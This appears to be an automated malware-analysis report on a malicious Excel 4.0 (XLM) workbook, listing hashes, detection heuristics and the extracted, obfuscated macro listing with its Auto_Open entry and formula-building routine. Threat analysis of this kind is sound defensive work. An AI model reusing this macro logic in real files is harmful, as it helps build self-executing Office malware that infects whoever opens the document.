Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 88bef18eb8db440e…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:42 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 1b9c5d75d367cae3ef74025a6650a1c7 SHA-1: f98c25918bc6b797f55464f33e59dd8e723d071d SHA-256: 88bef18eb8db440e491b1fe89e0fbd70d56e23a2cf035afefc64b8fdc5d89620
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6553 bytes
SHA-256: 772021a5d72d32c331d656da398281f72f755bee0bed1cba5a24f3b8cd0ab13a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wZGZA
' 0018     25 LABEL : Cell Value, String Constant - aTJQXzrQAx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G141 
' 0018     20 LABEL : Cell Value, String Constant - embQd len=0 
' 0018     23 LABEL : Cell Value, String Constant - FLuisbzo len=0 
' 0018     26 LABEL : Cell Value, String Constant - GSYnLYTywme len=0 
' 0018     21 LABEL : Cell Value, String Constant - iheqwD len=0 
' 0018     26 LABEL : Cell Value, String Constant - ijGkbPkZhLT len=0 
' 0018     27 LABEL : Cell Value, String Constant - KohWsumQskwO len=0 
' 0018     22 LABEL : Cell Value, String Constant - LGWApNi len=0 
' 0018     24 LABEL : Cell Value, String Constant - nLCPHAHjR len=0 
' 0018     22 LABEL : Cell Value, String Constant - NznEDrO len=0 
' 0018     23 LABEL : Cell Value, String Constant - poXVDcrX len=0 
' 0018     25 LABEL : Cell Value, String Constant - QqUrGZavyI len=0 
' 0018     25 LABEL : Cell Value, String Constant - rhqUjzneGe len=0 
' 0018     20 LABEL : Cell Value, String Constant - RlsxG len=0 
' 0018     26 LABEL : Cell Value, String Constant - sjzzHHmwpUH len=0 
' 0018     22 LABEL : Cell Value, String Constant - SOISgxw len=0 
' 0018     26 LABEL : Cell Value, String Constant - tKLRefsbBbj len=0 
' 0018     20 LABEL : Cell Value, String Constant - UTwbu len=0 
' 0018     26 LABEL : Cell Value, String Constant - VEUjkPtNXlc len=0 
' 0018     22 LABEL : Cell Value, String Constant - XphAmXx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wZGZA,G55,"SET.NAME("NznEDrO",VALUE("0"))",""
'  wZGZA,G58,"SET.NAME("embQd",NznEDrO)",""
'  wZGZA,G63,"SET.NAME("aTJQXzrQAx",NznEDrO)",""
'  wZGZA,G66,"SET.NAME("UTwbu",COUNTA(GSYnLYTywme))",""
'  wZGZA,G68,"SET.NAME("LGWApNi",COUNTA(VEUjkPtNXlc))",""
'  wZGZA,G70,[],""
'  wZGZA,G75,"SET.NAME("nLCPHAHjR","")",""
'  wZGZA,G77,"embQd",""
'  wZGZA,G79,"SET.NAME("iheqwD",HLOOKUP("*",GSYnLYTywme,embQd,FALSE))",""
'  wZGZA,G82,"poXVDcrX",""
'  wZGZA,G86,"SET.NAME("SOISgxw",NznEDrO)",""
'  wZGZA,G88,[],""
'  wZGZA,G91,"SOISgxw",""
'  wZGZA,G96,"XphAmXx",""
'  wZGZA,G101,"rhqUjzneGe",""
'  wZGZA,G103,"RlsxG",""
'  wZGZA,G108,"SET.NAME("KohWsumQskwO",VALUE(HLOOKUP("*",VEUjkPtNXlc,RlsxG,FALSE)))",""
'  wZGZA,G113,"ijGkbPkZhLT",""
'  wZGZA,G116,"nLCPHAHjR",""
'  wZGZA,G120,"aTJQXzrQAx",""
'  wZGZA,G123,NEXT(),""
'  wZGZA,G128,"tKLRefsbBbj",""
'  wZGZA,G130,"SET.NAME("f",INT(T(FORMULA(T(nLCPHAHjR)&"",""&T(tKLRefsbBbj)))))",""
'  wZGZA,G132,"FLuisbzo",""
'  wZGZA,G134,NEXT(),""
'  wZGZA,G136,RETURN(),""
'  wZGZA,G165,"SET.NAME("QqUrGZavyI",G55)",""
'  wZGZA,G167,"GSYnLYTywme",""
'  wZGZA,G172,"SET.NAME("VEUjkPtNXlc",R87C13)",""
'  wZGZA,G174,"SET.NAME("FLuisbzo",183)",""
'  wZGZA,G177,"SET.NAME("sjzzHHmwpUH",7)",""
'  wZGZA,G182,QqUrGZavyI(),""
'  wZGZA,G183,HALT(),""

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